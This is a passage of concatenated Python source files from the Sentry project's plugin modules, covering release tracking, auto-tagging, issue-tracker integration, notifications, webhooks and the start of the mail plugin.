            values=values,
        )

    def finish_release(self, version, **values):
        values.setdefault('date_released', timezone.now())
        Release.objects.create_or_update(
            version=version,
            project=self.project,
            values=values,
        )
        Activity.objects.create(
            type=Activity.RELEASE,
            project=self.project,
            ident=version,
            data={'version': version},
            datetime=values['date_released'],
        )
        # TODO(dcramer): enable these when they're optional and useful
        # activity.send_notification()

    def handle(self, request):
        raise NotImplementedError






"""
sentry.plugins.sentry_interface_types.models
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six

import sentry

from sentry.plugins import register
from sentry.plugins.bases.tag import TagPlugin


class InterfaceTypePlugin(TagPlugin):
    """
    Automatically adds the 'interface_type' tag from events containing referencing
    the class name of each interface (e.g. Http, Stacktrace, Exception).
    """
    descrption = __doc__
    slug = 'interface_types'
    title = 'Auto Tag: Interface Types'
    version = sentry.VERSION
    author = "Sentry Team"
    author_url = "https://github.com/getsentry/sentry"
    tag = 'interface_type'
    project_default_enabled = False

    def get_tag_values(self, event):
        return [i.rsplit('.', 1)[-1] for i in six.iterkeys(event.interfaces)]

register(InterfaceTypePlugin)






"""
sentry.plugins.sentry_interface_types
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import






"""
sentry.plugins.sentry_urls.models
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import sentry

from sentry.plugins import register
from sentry.plugins.bases.tag import TagPlugin


class UrlsPlugin(TagPlugin):
    """
    Automatically adds the 'url' tag from events containing interface data
    from ``sentry.interfaces.Http``.
    """
    slug = 'urls'
    title = 'Auto Tag: URLs'
    version = sentry.VERSION
    author = "Sentry Team"
    author_url = "https://github.com/getsentry/sentry"
    tag = 'url'
    project_default_enabled = True

    def get_tag_values(self, event):
        http = event.interfaces.get('sentry.interfaces.Http')
        if not http:
            return []
        if not http.url:
            return []
        return [http.url]

register(UrlsPlugin)






"""
sentry.plugins.sentry_urls
~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import






"""
sentry.plugins.bases.issue
~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six

from django import forms
from django.conf import settings
from django.utils.html import format_html
from social_auth.models import UserSocialAuth

from sentry.models import (
    Activity,
    Event,
    GroupMeta,
)
from sentry.plugins import Plugin
from sentry.signals import issue_tracker_used
from sentry.utils.auth import get_auth_providers
from sentry.utils.http import absolute_uri
from sentry.utils.safe import safe_execute


class NewIssueForm(forms.Form):
    title = forms.CharField(max_length=200, widget=forms.TextInput(attrs={'class': 'span9'}))
    description = forms.CharField(widget=forms.Textarea(attrs={'class': 'span9'}))


class IssueTrackingPlugin(Plugin):
    # project_conf_form = BaseIssueOptionsForm
    new_issue_form = NewIssueForm
    link_issue_form = None

    create_issue_template = 'sentry/plugins/bases/issue/create_issue.html'
    not_configured_template = 'sentry/plugins/bases/issue/not_configured.html'
    needs_auth_template = 'sentry/plugins/bases/issue/needs_auth.html'
    auth_provider = None
    can_unlink_issues = False
    can_link_existing_issues = False

    def _get_group_body(self, request, group, event, **kwargs):
        result = []
        for interface in six.itervalues(event.interfaces):
            output = safe_execute(interface.to_string, event, _with_transaction=False)
            if output:
                result.append(output)
        return '\n\n'.join(result)

    def _get_group_description(self, request, group, event):
        output = [
            absolute_uri(group.get_absolute_url()),
        ]
        body = self._get_group_body(request, group, event)
        if body:
            output.extend([
                '',
                '```',
                body,
                '```',
            ])
        return '\n'.join(output)

    def _get_group_title(self, request, group, event):
        return event.error()

    def is_configured(self, request, project, **kwargs):
        raise NotImplementedError

    def get_auth_for_user(self, user, **kwargs):
        """
        Return a ``UserSocialAuth`` object for the given user based on this plugins ``auth_provider``.
        """
        assert self.auth_provider, 'There is no auth provider configured for this plugin.'

        if not user.is_authenticated():
            return None

        try:
            return UserSocialAuth.objects.filter(user=user, provider=self.auth_provider)[0]
        except IndexError:
            return None

    def needs_auth(self, request, project, **kwargs):
        """
        Return ``True`` if the authenticated user needs to associate an auth service before
        performing actions with this plugin.
        """
        if self.auth_provider is None:
            return False

        if not request.user.is_authenticated():
            return True

        return bool(not UserSocialAuth.objects.filter(user=request.user, provider=self.auth_provider).exists())

    def get_new_issue_title(self, **kwargs):
        """
        Return a string for the "Create new issue" action label.
        """
        return 'Create %s Issue' % self.get_title()

    def get_unlink_issue_title(self, **kwargs):
        """
        Return a string for the "Unlink plugin issue" action label.
        """
        return 'Unlink %s Issue' % self.get_title()

    def get_new_issue_form(self, request, group, event, **kwargs):
        """
        Return a Form for the "Create new issue" page.
        """
        return self.new_issue_form(request.POST or None, initial=self.get_initial_form_data(request, group, event))

    def get_new_issue_read_only_fields(self, *args, **kwargs):
        """
        Return a list of additional read only fields that are helpful to
        know when filing the issue.
        """
        return []

    def get_link_existing_issue_form(self, request, group, event, **kwargs):
        if not self.link_issue_form:
            return None
        return self.link_issue_form(request.POST or None,
                                    initial=self.get_initial_link_form_data(request, group, event))

    def get_issue_url(self, group, issue_id, **kwargs):
        """
        Given an issue_id (string) return an absolute URL to the issue's details
        page.
        """
        raise NotImplementedError

    def get_issue_title_by_id(self, request, group, issue_id):
        """
        Given an issue_id return the issue's title.
        """
        raise NotImplementedError

    def get_issue_label(self, group, issue_id, **kwargs):
        """
        Given an issue_id (string) return a string representing the issue.

        e.g. GitHub represents issues as GH-XXX
        """
        return '#%s' % issue_id

    def create_issue(self, request, group, form_data, **kwargs):
        """
        Creates the issue on the remote service and returns an issue ID.
        """
        raise NotImplementedError

    def link_issue(self, request, group, form_data, **kwargs):
        """
        Can be overridden for any actions needed when linking issues
        (like adding a comment to an existing issue).
        """
        pass

    def get_initial_form_data(self, request, group, event, **kwargs):
        return {
            'description': self._get_group_description(request, group, event),
            'title': self._get_group_title(request, group, event),
        }

    def get_initial_link_form_data(self, request, group, event, **kwargs):
        return {}

    def has_auth_configured(self, **kwargs):
        if not self.auth_provider:
            return True

        return self.auth_provider in get_auth_providers()

    def handle_unlink_issue(self, request, group, **kwargs):
        GroupMeta.objects.unset_value(group, '%s:tid' % self.get_conf_key())
        return self.redirect(group.get_absolute_url())

    def view(self, request, group, **kwargs):
        has_auth_configured = self.has_auth_configured()
        if not (has_auth_configured and self.is_configured(project=group.project, request=request)):
            if self.auth_provider:
                required_auth_settings = settings.AUTH_PROVIDERS[self.auth_provider]
            else:
                required_auth_settings = None

            return self.render(self.not_configured_template, {
                'title': self.get_title(),
                'project': group.project,
                'has_auth_configured': has_auth_configured,
                'required_auth_settings': required_auth_settings,
            })

        if self.needs_auth(project=group.project, request=request):
            return self.render(self.needs_auth_template, {
                'title': self.get_title(),
                'project': group.project,
            })

        if GroupMeta.objects.get_value(group, '%s:tid' % self.get_conf_key(), None):
            if self.can_unlink_issues and request.GET.get('unlink'):
                return self.handle_unlink_issue(request, group, **kwargs)
            return None

        prefix = self.get_conf_key()
        event = group.get_latest_event()
        Event.objects.bind_nodes([event], 'data')

        op = request.POST.get('op', 'create')

        create_form = self.get_new_issue_form(request, group, event)
        link_form = None
        if self.can_link_existing_issues:
            link_form = self.get_link_existing_issue_form(request, group, event)

        if op == 'create':
            if create_form.is_valid():
                try:
                    issue_id = self.create_issue(
                        group=group,
                        form_data=create_form.cleaned_data,
                        request=request,
                    )
                except forms.ValidationError as e:
                    create_form.errors['__all__'] = [u'Error creating issue: %s' % e]

            if create_form.is_valid():
                GroupMeta.objects.set_value(group, '%s:tid' % prefix, issue_id)

                issue_information = {
                    'title': create_form.cleaned_data['title'],
                    'provider': self.get_title(),
                    'location': self.get_issue_url(group, issue_id),
                    'label': self.get_issue_label(group=group, issue_id=issue_id),
                }
                Activity.objects.create(
                    project=group.project,
                    group=group,
                    type=Activity.CREATE_ISSUE,
                    user=request.user,
                    data=issue_information,
                )

                issue_tracker_used.send(plugin=self, project=group.project, user=request.user, sender=IssueTrackingPlugin)
                return self.redirect(group.get_absolute_url())

        elif op == 'link':
            if link_form.is_valid():
                try:
                    self.link_issue(
                        group=group,
                        form_data=link_form.cleaned_data,
                        request=request,
                    )
                except forms.ValidationError as e:
                    link_form.errors['__all__'] = [u'Error creating issue: %s' % e]

            if link_form.is_valid():
                issue_id = int(link_form.cleaned_data['issue_id'])
                GroupMeta.objects.set_value(group, '%s:tid' % prefix, issue_id)
                issue_information = {
                    'title': self.get_issue_title_by_id(request, group, issue_id),
                    'provider': self.get_title(),
                    'location': self.get_issue_url(group, issue_id),
                    'label': self.get_issue_label(group=group, issue_id=issue_id),
                }
                Activity.objects.create(
                    project=group.project,
                    group=group,
                    type=Activity.CREATE_ISSUE,
                    user=request.user,
                    data=issue_information,
                )

                return self.redirect(group.get_absolute_url())

        context = {
            'create_form': create_form,
            # pass in 'form' for legacy compat
            'form': create_form,
            'title': self.get_new_issue_title(),
            'read_only_fields': self.get_new_issue_read_only_fields(group=group),
            'can_link_existing_issues': self.can_link_existing_issues,
            'link_form': link_form,
            'op': op
        }

        return self.render(self.create_issue_template, context)

    def actions(self, request, group, action_list, **kwargs):
        if not self.is_configured(request=request, project=group.project):
            return action_list
        prefix = self.get_conf_key()
        if not GroupMeta.objects.get_value(group, '%s:tid' % prefix, None):
            action_list.append((self.get_new_issue_title(), self.get_url(group)))
        elif self.can_unlink_issues:
            action_list.append((self.get_unlink_issue_title(),
                                '%s?unlink=1' % self.get_url(group).rstrip('/')))
        return action_list

    def tags(self, request, group, tag_list, **kwargs):
        if not self.is_configured(request=request, project=group.project):
            return tag_list

        prefix = self.get_conf_key()
        issue_id = GroupMeta.objects.get_value(group, '%s:tid' % prefix)
        if not issue_id:
            return tag_list

        tag_list.append(format_html('<a href="{}" rel="noreferrer">{}</a>',
            self.get_issue_url(group=group, issue_id=issue_id),
            self.get_issue_label(group=group, issue_id=issue_id),
        ))

        return tag_list

    def get_issue_doc_html(self, **kwargs):
        return ""

IssuePlugin = IssueTrackingPlugin






"""
sentry.plugins.bases.tag
~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from sentry.constants import MAX_TAG_VALUE_LENGTH
from sentry.plugins import Plugin2


class TagPlugin(Plugin2):
    tag = None
    project_default_enabled = True

    def get_tag_values(self, event, **kwargs):
        """
        Must return a list of values.

        >>> get_tag_pairs(event)
        [tag1, tag2, tag3]
        """
        raise NotImplementedError

    def get_tags(self, event, **kwargs):
        return [
            (self.tag, v)
            for v in self.get_tag_values(event)
            if len(v) <= MAX_TAG_VALUE_LENGTH
        ]






from __future__ import absolute_import

import six

from rest_framework.response import Response
from social_auth.models import UserSocialAuth

from django.conf import settings
from django.conf.urls import url
from django.core.urlresolvers import reverse
from django.utils.html import format_html

from sentry.models import Activity, Event, GroupMeta
from sentry.plugins import Plugin
from sentry.plugins.endpoints import PluginGroupEndpoint, PluginProjectEndpoint
from sentry.plugins.base.configuration import default_issue_plugin_config
from sentry.signals import issue_tracker_used
from sentry.utils.auth import get_auth_providers
from sentry.utils.http import absolute_uri
from sentry.utils.safe import safe_execute


# TODO(dcramer): remove this in favor of GroupEndpoint
class IssueGroupActionEndpoint(PluginGroupEndpoint):
    view_method_name = None
    plugin = None

    def _handle(self, request, group, *args, **kwargs):
        GroupMeta.objects.populate_cache([group])

        return getattr(self.plugin, self.view_method_name)(
            request, group, *args, **kwargs)


class PluginError(Exception):
    pass


class IssueTrackingPlugin2(Plugin):
    auth_provider = None
    allowed_actions = ('create', 'link', 'unlink')

    def has_project_conf(self):
        return True

    def get_group_body(self, request, group, event, **kwargs):
        result = []
        for interface in six.itervalues(event.interfaces):
            output = safe_execute(interface.to_string, event, _with_transaction=False)
            if output:
                result.append(output)
        return '\n\n'.join(result)

    def get_group_description(self, request, group, event):
        output = [
            absolute_uri(group.get_absolute_url()),
        ]
        body = self.get_group_body(request, group, event)
        if body:
            output.extend([
                '',
                '```',
                body,
                '```',
            ])
        return '\n'.join(output)

    def get_group_title(self, request, group, event):
        return event.error()

    def is_configured(self, request, project, **kwargs):
        raise NotImplementedError

    def get_group_urls(self):
        _urls = []
        for action in self.allowed_actions:
            view_method_name = 'view_%s' % action
            _urls.append(
                url(r'^%s/' % action,
                    PluginGroupEndpoint.as_view(
                        view=getattr(self, view_method_name),
                    ),
                )
            )
        return _urls

    def get_project_urls(self):
        _urls = []
        # TODO: add enable here when moved to api
        for action in ('configure', 'disable'):
            view_method_name = 'view_%s' % action

            _urls.append(
                url(r'^%s/' % action,
                    PluginProjectEndpoint.as_view(
                        view=getattr(self, view_method_name),
                    ),
                )
            )
        return _urls

    def get_auth_for_user(self, user, **kwargs):
        """
        Return a ``UserSocialAuth`` object for the given user based on this plugins ``auth_provider``.
        """
        assert self.auth_provider, 'There is no auth provider configured for this plugin.'

        if not user.is_authenticated():
            return None

        try:
            return UserSocialAuth.objects.filter(user=user, provider=self.auth_provider)[0]
        except IndexError:
            return None

    def needs_auth(self, request, project, **kwargs):
        """
        Return ``True`` if the authenticated user needs to associate an auth service before
        performing actions with this plugin.
        """
        if self.auth_provider is None:
            return False

        if not request.user.is_authenticated():
            return True

        return not UserSocialAuth.objects.filter(user=request.user, provider=self.auth_provider).exists()

    def get_new_issue_fields(self, request, group, event, **kwargs):
        """
        If overriding, supported properties include 'readonly': true
        """
        return [{
            'name': 'title',
            'label': 'Title',
            'default': self.get_group_title(request, group, event),
            'type': 'text'
        }, {
            'name': 'description',
            'label': 'Description',
            'default': self.get_group_description(request, group, event),
            'type': 'textarea'
        }]

    def get_link_existing_issue_fields(self, request, group, event, **kwargs):
        return []

    def get_configure_plugin_fields(self, request, project, **kwargs):
        """
        Must be overridden by plugins that require configuration.
        """
        raise NotImplementedError

    def get_issue_url(self, group, issue_id, **kwargs):
        """
        Given an issue_id (string) return an absolute URL to the issue's details
        page.
        """
        raise NotImplementedError

    # TODO: should this return more than just title?
    def get_issue_title_by_id(self, request, group, issue_id):
        """
        Given an issue_id return the issue's title.
        """
        raise NotImplementedError

    def get_issue_label(self, group, issue_id, **kwargs):
        """
        Given an issue_id (string) return a string representing the issue.

        e.g. GitHub represents issues as GH-XXX
        """
        return '#%s' % issue_id

    def create_issue(self, request, group, form_data, **kwargs):
        """
        Creates the issue on the remote service and returns an issue ID.
        """
        raise NotImplementedError

    def link_issue(self, request, group, form_data, **kwargs):
        """
        Can be overridden for any actions needed when linking issues
        (like adding a comment to an existing issue).
        """
        pass

    def has_auth_configured(self, **kwargs):
        if not self.auth_provider:
            return True

        return self.auth_provider in get_auth_providers()

    def validate_form(self, fields, form_data):
        errors = {}
        for field in fields:
            if field.get('required', True) and not field.get('readonly'):
                value = form_data.get(field['name'])
                if value is None or value == '':
                    errors[field['name']] = u'%s is a required field.' % field['label']
        return errors

    def view_create(self, request, group, **kwargs):
        auth_errors = self.check_config_and_auth(request, group)
        if auth_errors:
            return Response(auth_errors, status=400)

        event = group.get_latest_event()
        Event.objects.bind_nodes([event], 'data')
        fields = self.get_new_issue_fields(request, group, event, **kwargs)
        if request.method == 'GET':
            return Response(fields)

        errors = self.validate_form(fields, request.DATA)
        if errors:
            return Response({
                'error_type': 'validation',
                'errors': errors
            }, status=400)

        try:
            issue_id = self.create_issue(
                group=group,
                form_data=request.DATA,
                request=request,
            )
        except PluginError as e:
            return Response({
                'error_type': 'validation',
                'errors': [{'__all__': e.message}]
            }, status=400)
        GroupMeta.objects.set_value(group, '%s:tid' % self.get_conf_key(), issue_id)

        issue_information = {
            'title': request.DATA['title'],
            'provider': self.get_title(),
            'location': self.get_issue_url(group, issue_id),
            'label': self.get_issue_label(group=group, issue_id=issue_id),
        }
        Activity.objects.create(
            project=group.project,
            group=group,
            type=Activity.CREATE_ISSUE,
            user=request.user,
            data=issue_information,
        )

        issue_tracker_used.send(plugin=self, project=group.project, user=request.user, sender=IssueTrackingPlugin2)
        return Response({'issue_url': self.get_issue_url(group=group, issue_id=issue_id)})

    def view_unlink(self, request, group, **kwargs):
        auth_errors = self.check_config_and_auth(request, group)
        if auth_errors:
            return Response(auth_errors, status=400)
        if GroupMeta.objects.get_value(group, '%s:tid' % self.get_conf_key(), None):
            if 'unlink' in self.allowed_actions:
                GroupMeta.objects.unset_value(group, '%s:tid' % self.get_conf_key())
                return Response({'message': 'Successfully unlinked issue.'})
        return Response({'message': 'No issues to unlink.'}, status=400)

    def view_link(self, request, group, **kwargs):
        auth_errors = self.check_config_and_auth(request, group)
        if auth_errors:
            return Response(auth_errors, status=400)
        event = group.get_latest_event()
        Event.objects.bind_nodes([event], 'data')
        fields = self.get_link_existing_issue_fields(request, group, event, **kwargs)
        if request.method == 'GET':
            return Response(fields)
        errors = self.validate_form(fields, request.DATA)
        if errors:
            return Response({
                'error_type': 'validation',
                'errors': errors
            }, status=400)
        try:
            self.link_issue(
                group=group,
                form_data=request.DATA,
                request=request,
            )
        except PluginError as e:
            return Response({
                'error_type': 'validation',
                'errors': [{'__all__': e.message}]
            }, status=400)

        issue_id = int(request.DATA['issue_id'])
        GroupMeta.objects.set_value(group, '%s:tid' % self.get_conf_key(), issue_id)
        issue_information = {
            'title': self.get_issue_title_by_id(request, group, issue_id),
            'provider': self.get_title(),
            'location': self.get_issue_url(group, issue_id),
            'label': self.get_issue_label(group=group, issue_id=issue_id),
        }
        Activity.objects.create(
            project=group.project,
            group=group,
            type=Activity.CREATE_ISSUE,
            user=request.user,
            data=issue_information,
        )
        return Response({'message': 'Successfully linked issue.'})

    def view_configure(self, request, project, **kwargs):
        if request.method == 'GET':
            return Response(self.get_configure_plugin_fields(request, project, **kwargs))
        self.configure(project, request.DATA)
        return Response({'message': 'Successfully updated configuration.'})

    def configure(self, project, form_data):
        """Configures the plugin"""
        default_issue_plugin_config(self, project, form_data)

    def view_disable(self, request, project, **kwargs):
        if self.can_disable:
            self.disable(project)
            return Response({'message': 'Successfully disabled plugin'})
        return Response({'message': 'Plugin cannot be disabled'}, status=400)

    def check_config_and_auth(self, request, group):
        has_auth_configured = self.has_auth_configured()
        if not (has_auth_configured and self.is_configured(project=group.project, request=request)):
            if self.auth_provider:
                required_auth_settings = settings.AUTH_PROVIDERS[self.auth_provider]
            else:
                required_auth_settings = None

            return {
                'error_type': 'config',
                'title': self.get_title(),
                'slug': self.slug,
                'has_auth_configured': has_auth_configured,
                'auth_provider': self.auth_provider,
                'required_auth_settings': required_auth_settings,
            }

        if self.needs_auth(project=group.project, request=request):
            return {
                'error_type': 'auth',
                'title': self.get_title(),
                'auth_url': reverse('socialauth_associate', args=[self.auth_provider])
            }

    def plugin_issues(self, request, group, plugin_issues, **kwargs):
        if not self.is_configured(request=request, project=group.project):
            return plugin_issues
        prefix = self.get_conf_key()
        issue_id = GroupMeta.objects.get_value(group, '%s:tid' % prefix, None)
        item = {
            'slug': self.slug,
            'allowed_actions': self.allowed_actions,
            'title': self.get_title()
        }
        if issue_id:
            item['issue'] = {
                'issue_id': issue_id,
                'url': self.get_issue_url(group=group, issue_id=issue_id),
                'label': self.get_issue_label(group=group, issue_id=issue_id),
            }
        plugin_issues.append(item)
        return plugin_issues

    # TODO: should we get rid of this (move it to react?)
    def tags(self, request, group, tag_list, **kwargs):
        if not self.is_configured(request=request, project=group.project):
            return tag_list

        prefix = self.get_conf_key()
        issue_id = GroupMeta.objects.get_value(group, '%s:tid' % prefix)
        if not issue_id:
            return tag_list

        tag_list.append(format_html('<a href="{}">{}</a>',
            self.get_issue_url(group=group, issue_id=issue_id),
            self.get_issue_label(group=group, issue_id=issue_id),
        ))

        return tag_list

IssuePlugin2 = IssueTrackingPlugin2






from __future__ import absolute_import

from .issue import IssueTrackingPlugin  # NOQA
from .issue2 import IssueTrackingPlugin2  # NOQA
from .notify import NotificationPlugin  # NOQA
from .releasetracking import ReleaseTrackingPlugin  # NOQA
from .tag import TagPlugin  # NOQA






from __future__ import absolute_import

from sentry.plugins import Plugin2


class ReleaseTrackingPlugin(Plugin2):
    def get_release_doc_html(self, hook_url):
        raise NotImplementedError






"""
sentry.plugins.bases.notify
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import logging
import six

from django import forms

from sentry.app import (
    digests,
    ratelimiter,
)
from sentry.digests import get_option_key as get_digest_option_key
from sentry.digests.notifications import (
    event_to_record,
    unsplit_key,
)
from sentry.plugins import Notification, Plugin
from sentry.models import (
    ProjectOption,
    UserOption,
)
from sentry.tasks.digests import deliver_digest


class NotificationConfigurationForm(forms.Form):
    pass


class BaseNotificationUserOptionsForm(forms.Form):
    def __init__(self, plugin, user, *args, **kwargs):
        self.plugin = plugin
        self.user = user
        super(BaseNotificationUserOptionsForm, self).__init__(*args, **kwargs)

    def get_title(self):
        return self.plugin.get_conf_title()

    def get_description(self):
        return ""

    def save(self):
        raise NotImplementedError


class NotificationPlugin(Plugin):
    description = ('Notify project members when a new event is seen for the first time, or when an '
                   'already resolved event has changed back to unresolved.')
    # site_conf_form = NotificationConfigurationForm
    project_conf_form = NotificationConfigurationForm

    def notify(self, notification):
        self.logger.info('notification.dispatched', extra={
            'event_id': notification.event.id,
            'plugin': self.slug
        })
        event = notification.event
        return self.notify_users(event.group, event)

    def rule_notify(self, event, futures):
        rules = []
        for future in futures:
            rules.append(future.rule)
            if not future.kwargs:
                continue
            raise NotImplementedError('The default behavior for notification de-duplication does not support args')

        project = event.group.project
        if hasattr(self, 'notify_digest') and digests.enabled(project):
            get_digest_option = lambda key: ProjectOption.objects.get_value(
                project,
                get_digest_option_key(self.get_conf_key(), key),
            )
            digest_key = unsplit_key(self, event.group.project)
            immediate_delivery = digests.add(
                digest_key,
                event_to_record(event, rules),
                increment_delay=get_digest_option('increment_delay'),
                maximum_delay=get_digest_option('maximum_delay'),
            )
            if immediate_delivery:
                deliver_digest.delay(digest_key)

        else:
            notification = Notification(
                event=event,
                rules=rules,
            )
            self.notify(notification)

    def notify_users(self, group, event, fail_silently=False):
        raise NotImplementedError

    def notify_about_activity(self, activity):
        pass

    def get_sendable_users(self, project):
        """
        Return a collection of user IDs that are eligible to receive
        notifications for the provided project.
        """
        conf_key = self.get_conf_key()

        alert_settings = dict(
            (o.user_id, int(o.value))
            for o in UserOption.objects.filter(
                project=project,
                key='%s:alert' % conf_key,
            )
        )

        disabled = set(u for u, v in six.iteritems(alert_settings) if v == 0)

        member_set = set(project.member_set.exclude(
            user__in=disabled,
        ).values_list('user', flat=True))

        # determine members default settings
        members_to_check = set(u for u in member_set if u not in alert_settings)
        if members_to_check:
            disabled = set(UserOption.objects.filter(
                key='subscribe_by_default',
                value='0',
                user__in=members_to_check,
            ).values_list('user', flat=True))
            member_set = [x for x in member_set if x not in disabled]

        return member_set

    def __is_rate_limited(self, group, event):
        return ratelimiter.is_limited(
            project=group.project,
            key=self.get_conf_key(),
            limit=10,
        )

    def is_configured(self, project):
        raise NotImplementedError

    def should_notify(self, group, event):
        project = event.project
        if not self.is_configured(project=project):
            return False

        if group.is_muted():
            return False

        # If the plugin doesn't support digests or they are not enabled,
        # perform rate limit checks to support backwards compatibility with
        # older plugins.
        if not (hasattr(self, 'notify_digest') and digests.enabled(project)) and self.__is_rate_limited(group, event):
            logger = logging.getLogger('sentry.plugins.{0}'.format(self.get_conf_key()))
            logger.info('notification.rate_limited', extra={'project_id': project.id})
            return False

        return True

    def test_configuration(self, project):
        from sentry.utils.samples import create_sample_event
        event = create_sample_event(project, platform='python')
        notification = Notification(event=event)
        return self.notify(notification)

    def get_notification_doc_html(self, **kwargs):
        return ""


# Backwards-compatibility
NotifyConfigurationForm = NotificationConfigurationForm
NotifyPlugin = NotificationPlugin






from __future__ import absolute_import






from __future__ import absolute_import

import logging
import six
import sentry

from django.conf import settings
from django import forms
from django.utils.translation import ugettext_lazy as _

from sentry.plugins.bases import notify
from sentry.http import is_valid_url, safe_urlopen
from sentry.utils.safe import safe_execute


class WebHooksOptionsForm(notify.NotificationConfigurationForm):
    urls = forms.CharField(
        label=_('Callback URLs'),
        widget=forms.Textarea(attrs={
            'class': 'span6', 'placeholder': 'https://getsentry.com/callback/url'}),
        help_text=_('Enter callback URLs to POST new events to (one per line).'))

    def clean_url(self):
        value = self.cleaned_data.get('url')
        if not is_valid_url(value):
            raise forms.ValidationError('Invalid hostname')
        return value


class WebHooksPlugin(notify.NotificationPlugin):
    author = 'Sentry Team'
    author_url = 'https://github.com/getsentry/sentry'
    version = sentry.VERSION
    description = "Integrates web hooks."
    resource_links = [
        ('Bug Tracker', 'https://github.com/getsentry/sentry/issues'),
        ('Source', 'https://github.com/getsentry/sentry'),
    ]

    slug = 'webhooks'
    title = 'WebHooks'
    conf_title = title
    conf_key = 'webhooks'
    project_conf_form = WebHooksOptionsForm
    timeout = getattr(settings, 'SENTRY_WEBHOOK_TIMEOUT', 3)
    logger = logging.getLogger('sentry.plugins.webhooks')
    user_agent = 'sentry-webhooks/%s' % version

    def is_configured(self, project, **kwargs):
        return bool(self.get_option('urls', project))

    def get_group_data(self, group, event):
        data = {
            'id': six.text_type(group.id),
            'project': group.project.slug,
            'project_name': group.project.name,
            'logger': event.get_tag('logger'),
            'level': event.get_tag('level'),
            'culprit': group.culprit,
            'message': event.get_legacy_message(),
            'url': group.get_absolute_url(),
        }
        data['event'] = dict(event.data or {})
        data['event']['tags'] = event.get_tags()
        return data

    def get_webhook_urls(self, project):
        urls = self.get_option('urls', project)
        if not urls:
            return ()
        return filter(bool, urls.strip().splitlines())

    def send_webhook(self, url, payload):
        return safe_urlopen(
            url=url,
            json=payload,
            timeout=self.timeout,
            verify_ssl=False,
        )

    def notify_users(self, group, event, fail_silently=False):
        payload = self.get_group_data(group, event)
        for url in self.get_webhook_urls(group.project):
            safe_execute(self.send_webhook, url, payload, _with_transaction=False)






from __future__ import absolute_import

from sentry.plugins import register

from .plugin import WebHooksPlugin

register(WebHooksPlugin)






"""
sentry.plugins.sentry_mail.models
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import itertools
import logging
import six

import sentry

from django.core.urlresolvers import reverse
from django.template.loader import render_to_string
from django.utils.encoding import force_text
from django.utils.safestring import mark_safe

from sentry import options
from sentry.digests.utilities import get_digest_metadata
from sentry.plugins import register
from sentry.plugins.base.structs import Notification
from sentry.plugins.bases.notify import NotificationPlugin
from sentry.utils.cache import cache
from sentry.utils.email import MessageBuilder, group_id_to_email
from sentry.utils.http import absolute_uri
from sentry.utils.linksign import generate_signed_link

from .activity import emails

NOTSET = object()

logger = logging.getLogger(__name__)


class MailPlugin(NotificationPlugin):
    title = 'Mail'
    conf_key = 'mail'
    slug = 'mail'
    version = sentry.VERSION
    author = "Sentry Team"
    author_url = "https://github.com/getsentry/sentry"
    project_default_enabled = True
    project_conf_form = None
    subject_prefix = None

    def _subject_prefix(self):
        if self.subject_prefix is not None:
            return self.subject_prefix
        return options.get('mail.subject-prefix')

    def _build_message(self, project, subject, template=None, html_template=None,
                   body=None, reference=None, reply_reference=None, headers=None,
                   context=None, send_to=None, type=None):
        if send_to is None:
            send_to = self.get_send_to(project)
        if not send_to:
            logger.debug('Skipping message rendering, no users to send to.')
            return

        subject_prefix = self.get_option('subject_prefix', project) or self._subject_prefix()
        subject_prefix = force_text(subject_prefix)
        subject = force_text(subject)

        msg = MessageBuilder(
            subject='%s%s' % (subject_prefix, subject),
            template=template,
            html_template=html_template,
            body=body,
            headers=headers,
            type=type,
            context=context,
            reference=reference,
            reply_reference=reply_reference,
        )
        msg.add_users(send_to, project=project)
        return msg

    def _send_mail(self, *args, **kwargs):
        message = self._build_message(*args, **kwargs)
        if message is not None:
            return message.send_async()

    def get_notification_settings_url(self):
        return absolute_uri(reverse('sentry-account-settings-notifications'))

    def get_project_url(self, project):
        return absolute_uri('/{}/{}/'.format(project.organization.slug, project.slug))

    def is_configured(self, project, **kwargs):
        # Nothing to configure here
        return True

    def should_notify(self, group, event):
        send_to = self.get_sendable_users(group.project)
        if not send_to:
            return False

        return super(MailPlugin, self).should_notify(group, event)

    def get_send_to(self, project):
        """
        Returns a list of user IDs for the users that should receive
        notifications for the provided project.

        This result may come from cached data.
        """
        if not (project and project.team):
            logger.debug('Tried to send notification to invalid project: %r', project)
            return []

        cache_key = '%s:send_to:%s' % (self.get_conf_key(), project.pk)
        send_to_list = cache.get(cache_key)
        if send_to_list is None:
            send_to_list = [s for s in self.get_sendable_users(project) if s]
            cache.set(cache_key, send_to_list, 60)  # 1 minute cache

        return send_to_list

    def add_unsubscribe_link(self, context, user_id, project):
        context['unsubscribe_link'] = generate_signed_link(user_id,
            'sentry-account-email-unsubscribe-project', kwargs={
                'project_id': project.id,
            })

    def notify(self, notification):
        event = notification.event
        group = event.group
        project = group.project
        org = group.organization

        subject = event.get_email_subject()

        link = group.get_absolute_url()

        template = 'sentry/emails/error.txt'
        html_template = 'sentry/emails/error.html'

        rules = []
        for rule in notification.rules:
            rule_link = reverse('sentry-edit-project-rule', args=[
                org.slug, project.slug, rule.id
            ])
